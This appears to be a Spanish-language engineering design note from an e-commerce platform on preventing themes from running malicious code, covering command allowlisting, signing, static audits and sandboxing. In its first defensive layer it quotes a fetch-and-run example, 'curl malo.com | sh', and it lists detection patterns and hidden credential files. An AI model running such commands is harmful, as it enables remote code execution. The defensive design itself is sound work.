Saltar al contenido
pcreative Commerce

Estudio: cómo evitar que un tema meta código malicioso

Julio 2026.

Julio 2026.


1. La bifurcación: por qué Shopify no tiene este problema y WordPress sí

No es que Shopify tenga mejor antivirus. Es que decidió que un tema no fuera código.

Liquid, su lenguaje de plantillas, existe desde 2006 y está hecho a propósito para esto:

«It needs to be non evaling and secure. Liquid templates are made so that users can edit them. You don't want to run code on your server which your users wrote.»

Un tema de Shopify no puede ejecutar código arbitrario, ni tocar el sistema de ficheros, ni hacer bucles sin límite. Puede pintar datos y poco más. Por eso miles de comercios comparten la misma infraestructura sin que uno tumbe a otro.

WordPress hizo lo contrario: el tema es PHP y corre dentro de la aplicación, con acceso a la base de datos y a todo. Es lo que da su flexibilidad… y es la razón de que haya tantísimo WordPress infectado.

Este documento se escribió con nuestros temas en el lado de WordPress —los comandos escritos dentro del tema y ejecutados tal cual— y planteaba cómo salir de ahí. Las capas 1 y 2 ya están hechas, y también una primera versión de las capas 3 y 4 (ver el apéndice): hoy los comandos los decide el sistema, no el tema, y la construcción y el tema en marcha van dentro de una caja cuando la máquina lo permite. Lo que sigue explica por qué, y qué queda.


1 bis. Qué hace cada uno, en concreto

Qué es un temaCómo se defiendeCon qué resultado
ShopifyLiquid: no ejecuta nadaTécnica. No hay nada que ejecutarEl problema no existe
WordPressPHP dentro de la aplicaciónProcedimental. Revisión humana obligatoria antes de publicar (licencia y seguridad), Theme Check replicando los tests automáticos, y botón «Report this theme» + themes@wordpress.orgInfecciones a mansalva. El vector real no es el directorio: son los temas nulled
PrestaShopSmarty/Twig para las vistas, PHP en los módulosProcedimental con herramienta pública. validator.prestashop.com + checklist técnica. Regla notable: nada de HTML dentro del PHP, las vistas van por Smarty, y se comprueban los modificadores de escape. El módulo se prueba con el modo depuración encendido: si salta un aviso, se rechazaIntermedio: su capa de tema ya es un lenguaje de plantillas
Magento / Adobe CommercePHPLa más formal. Extension Quality Program: nivel 1 automático (estándares de código, detección de virus y malware, e indicios de plagio) y luego revisión manual de QAAun así existe magento-malware-scanner, un proyecto comunitario con «la mayor colección de malware de Magento». Eso lo dice todo

Las tres lecciones que saco de esta tabla:

  1. La revisión previa es necesaria y no basta. Magento hace la revisión más seria del sector y existe un repositorio comunitario dedicado a catalogar el malware que se le cuela. No es un fallo de ejecución: es que revisar código arbitrario a ojo no escala.
  2. PrestaShop va en la dirección correcta sin decirlo. Obligar a que las vistas pasen por Smarty es dar un paso hacia el modelo Shopify: la parte que toca el diseñador deja de ser código.
  3. El agujero de WordPress no está en su directorio, está fuera. Los temas revisados son razonablemente seguros; los infectados son copias piratas de temas de pago. Eso es un problema de distribución y licencia, no de revisión — y da la casualidad de que ya tenemos montado un sistema de licencias con firma para exactamente eso.

2. La buena noticia: partimos con ventaja

Hay una diferencia estructural a nuestro favor, y conviene verla antes de gastar en fortificaciones.

En WordPress el tema corre dentro de la tienda. Tiene la conexión a la base de datos, las claves de pago, las sesiones de los clientes. Un tema malicioso lo tiene todo.

En nuestra arquitectura el tema es un proceso aparte que solo habla con la Store API pública, con la clave publicable — esa que ya viaja al navegador de cualquier visitante y no es secreta. No tiene la base de datos, ni la Admin API, ni las claves de pago.

Es decir: un tema confinado no puede hacer nada que no pudiera hacer un visitante con el navegador abierto. Eso ya recorta la mitad del problema, y sale gratis porque es como está montado.

Lo que queda por proteger es el momento peligroso de verdad: instalar y construir, que es cuando se ejecutan comandos en tu servidor.


3. Cuatro capas, de barata a cara

Capa 1 — Que no haya nada que ejecutar (casi gratis)

Lo que más riesgo quita por lo poco que cuesta:

  • --ignore-scripts al instalar. El ataque clásico de npm es un postinstall en una dependencia. Con esta bandera no corre ninguno. Es una palabra.
  • Comandos de una lista blanca, no cadenas libres. Antes el tema escribía "build": "next build" y se ejecutaba tal cual — podía poner "build": "curl malo.com | sh". La solución: el contrato declara el stack, y el sistema sabe qué comando corresponde a cada stack. El tema elige de una lista, no escribe la orden.
  • Fichero de bloqueo obligatorio y fijo. Sin lockfile no se instala. Así la versión que auditaste es la que se instala mañana.
  • Revisión estática antes de instalar. Buscar child_process, eval, escrituras fuera de su carpeta, conexiones a dominios no declarados. No es infalible —se puede ofuscar— pero pilla lo tonto y es barato.

Capa 2 — Que solo entre lo que tú has firmado (barato)

  • Temas firmados. Cada tema publicado lleva firma con nuestra clave; el panel dice quién lo firmó antes de instalarlo. Un tema sin firma, o firmado con una clave que la tienda no conoce, se instala con un aviso visible; una tienda que pone THEMES_EXIGIR_FIRMA=1 lo rechaza sin más.
  • Ya tenemos media pieza montada: el sistema de licencias de pcreative firma con RS256 y verifica sin conexión con la clave pública. Es el mismo mecanismo.

Esto es, de hecho, lo que separa un catálogo de temas propio de una jungla.

Capa 3 — Aislar la construcción (medio)

El momento peligroso es el install + build. Que ocurra dentro de una caja:

OpciónAislamientoCoste
Contenedor endurecido (sin red salvo el registro, sin secretos, usuario sin privilegios, disco de solo lectura salvo su carpeta, límites de CPU y memoria)Comparte núcleo con el anfitriónBajo — ya usamos Docker
gVisor — intercepta las llamadas al sistema en espacio de usuario y solo deja pasar un subconjunto revisadoMucho mejor que un contenedor normalMedio. Lo usa Google en GKE
Firecracker — microVM de verdad, arranca en ~125 ms con menos de 5 MiB de sobrecargaEl estándar actual para código no confiable. Es lo que usa Vercel SandboxMedio-alto

El consenso de 2026 es claro y conviene no engañarse: un contenedor normal no basta para código realmente no confiable, porque comparte núcleo. Para temas propios sobra; para un catálogo abierto, no.

Capa 4 — Aislar también la ejecución (medio)

El proceso del tema, ya en marcha, con lo mínimo:

  • Usuario del sistema propio, sin privilegios.
  • Solo la URL pública del backend y la clave publicable. Ni una variable más. Ni base de datos, ni Admin API, ni claves de pago.
  • Disco de solo lectura salvo su carpeta de caché.
  • Salida de red restringida: solo puede hablar con el backend de la tienda. Sin esto, un tema puede mandar a donde quiera lo que renderiza.
  • Límites de CPU y memoria, para que un tema con un bucle infinito no tumbe la máquina.

4. Lo que yo haría, por fases

Fase 1 — Ahora, con temas propios (horas). Capas 1 y 2: --ignore-scripts, comandos por lista blanca según el stack, lockfile obligatorio, revisión estática, y el panel comprueba la firma y avisa de los temas sin firmar (o los rechaza con THEMES_EXIGIR_FIRMA=1).

Con temas nuestros esto ya es suficiente, y sin ello no publicaría ni uno.

Fase 2 — Antes de abrir catálogo a terceros (días). Capa 3 con contenedor endurecido para instalar y construir, y capa 4 para ejecutar: el tema solo ve la API pública y solo puede salir hacia ella.

Fase 3 — Si llega el alojamiento gestionado (semanas). Firecracker o gVisor por tienda. Cuando corren temas de desconocidos en TU máquina junto a tiendas de otros clientes, el contenedor compartido deja de ser defendible.

La opción que no descarto pero no elegiría hoy: copiar a Shopify. Un lenguaje de plantillas propio, sin ejecución, elimina el problema de raíz. Y también elimina el argumento con el que queremos ganar —temas bespoke en el stack que quieras— y nos mete en años de trabajo reinventando Liquid. Si algún día hay catálogo masivo de terceros, se replantea; para temas nuestros y de agencias conocidas, aislar es mejor negocio que amputar.


5. Reglas que no me saltaría

  • El tema NUNCA ve un secreto. Solo la URL pública y la clave publicable, que ya es pública. Si algún día un tema necesita algo más, es que el diseño está mal.
  • Nada de cadenas de comandos libres en el manifiesto. El tema declara su stack; el sistema decide el comando.
  • Instalar sin scripts de ciclo de vida, siempre.
  • Firmado por defecto; sin firmar solo con un aviso visible, y la tienda que no quiera sorpresas puede rechazarlos (THEMES_EXIGIR_FIRMA=1).
  • Decirlo en la interfaz. Al instalar un tema de fuera, avisar de qué se ejecuta y con qué permisos. Lo contrario es lo que llevó a WordPress donde está.

Fuentes


Apéndice — lo que ya está hecho

Capa 1 (c4012468)

  • packages/theme-contract/src/runtime.js — los comandos los decide el sistema a partir de stack y packageManager. runtime.commands queda informativo y se avisa si no coincide. Órdenes como listas de argumentos, sin intérprete.
  • Instalar nunca ejecuta scripts de ciclo de vida, en los cinco gestores.
  • packages/theme-contract/src/auditoria.js — revisión previa: fichero de bloqueo, scripts de instalación, procesos, evaluación al vuelo, base64 largo, búsqueda de secretos, y dominios frente a runtime.hosts.
  • Un tema que exige DATABASE_URL, JWT_SECRET o una clave de pasarela es error del contrato.
  • pcc-theme audit [dir] [--monorepo].

Capa 2 — firma

packages/theme-contract/src/firma.js. Complementa a la auditoría y no hace lo mismo: la auditoría mira el contenido y busca señales; la firma garantiza que el paquete es exactamente el que publicó quien dice haberlo publicado.

Contra el problema real de WordPress —temas de pago pirateados y manipulados— una revisión no puede nada y una firma sí.

  • SHA-256 por fichero, lista ordenada, firmada con RS256 en formato JWS compacto: el mismo esquema que ya usan las licencias, no un formato nuevo.
  • Se verifican tres cosas: la clave es de confianza, el paquete es del tema y la versión que dice, y ni un fichero ha cambiado, sobra o falta.
  • "alg": "none" no cuela: el algoritmo lo impone el verificador, no la firma.
  • No se firma un paquete que traiga resultados de compilación: un tema se distribuye en fuente y se construye en destino.
  • Rutas normalizadas con /, así que un tema firmado en Linux verifica en Windows.
pcc-theme sign   <dir> --key privada.pem --publisher pcreative.dev --kid temas-1
pcc-theme verify <dir> --pubkey publica.pem
pcc-theme verify <dir> --url https://api.pcreative.dev/api/license/pubkey

Sobre la clave. Vale cualquier par RSA y se puede reutilizar el del sistema de licencias, pero conviene uno dedicado: con una sola clave, una filtración del lado de licencias permitiría además firmar temas maliciosos que todas las instalaciones aceptarían como nuestros.

La capa 2 en el panel (apps/admin/src/lib/instalar-tema.ts)

  • Claves de confianza en THEME_TRUSTED_KEYS: un objeto JSON {"editor": "-----BEGIN PUBLIC KEY-----…"}, una lista JSON, o varias claves PEM separadas por ;;. Una clave puede llevar fechas de validez y revocarse, como rotada o como comprometida (apps/admin/src/lib/tema-confianza.js).
  • Instalar son dos pasos: el zip se descomprime en cuarentena y se analiza, el panel enseña el informe (quién lo firmó, los comandos que ejecutaría, errores del contrato y hallazgos de la auditoría) y solo instala cuando confirmas.
  • Qué pasa con cada firma:
FirmaPor defectoCon THEMES_EXIGIR_FIRMA=1
Válida, clave en la listaSe instala, enseñando el editorSe instala
Ninguna (sin-firma)Se instala con avisoSe rechaza
Válida, clave fuera de la listaSe instala con avisoSe rechaza
No cuadra con el contenido, o clave revocada/caducada al firmarSe rechazaSe rechaza

Capas 3 y 4 — la caja (apps/admin/src/lib/caja.ts)

  • Instalar, construir y arrancar un tema pasan por la misma caja. El panel usa bubblewrap (bwrap) si funciona en la máquina; si no, systemd-run --user; si no, ninguna.
  • Con bubblewrap: sistema de solo lectura, solo la carpeta del tema escribible, espacio de procesos propio, y tapados los .env, ~/.npmrc, ~/.git-credentials, ~/.ssh, ~/.aws y ~/.config/gh.
  • Con systemd: sistema y carpeta personal de solo lectura, solo la carpeta del tema escribible, /tmp privado, sin privilegios nuevos, y topes de memoria y CPU.
  • El tema en marcha recibe solo su puerto, COMMERCE_URL, COMMERCE_KEY (la clave publicable) y SITE_URL: ni base de datos, ni clave de gestión, ni claves de pasarela.
  • Variables:
VariableQué hacePor defecto
THEMES_CAJAninguna apaga la cajase detecta
THEMES_EXIGIR_CAJA1: sin caja disponible, no se construye un temaapagada (avisa)
THEMES_MEMORIA_MAXTope de memoria del tema en marcha (caja systemd)1G
THEMES_CPU_MAXTope de CPU del tema en marcha (caja systemd)100%
  • Dentro de la imagen de Docker bubblewrap no se puede anidar; ahí la caja es el propio contenedor, y el panel lo dice.

Lo que falta todavía

  • Salida de red restringida: la caja no corta la red, así que un tema aún puede hablar con dominios que no sean el backend.
  • gVisor o Firecracker para un catálogo abierto a terceros o un alojamiento gestionado (fase 3).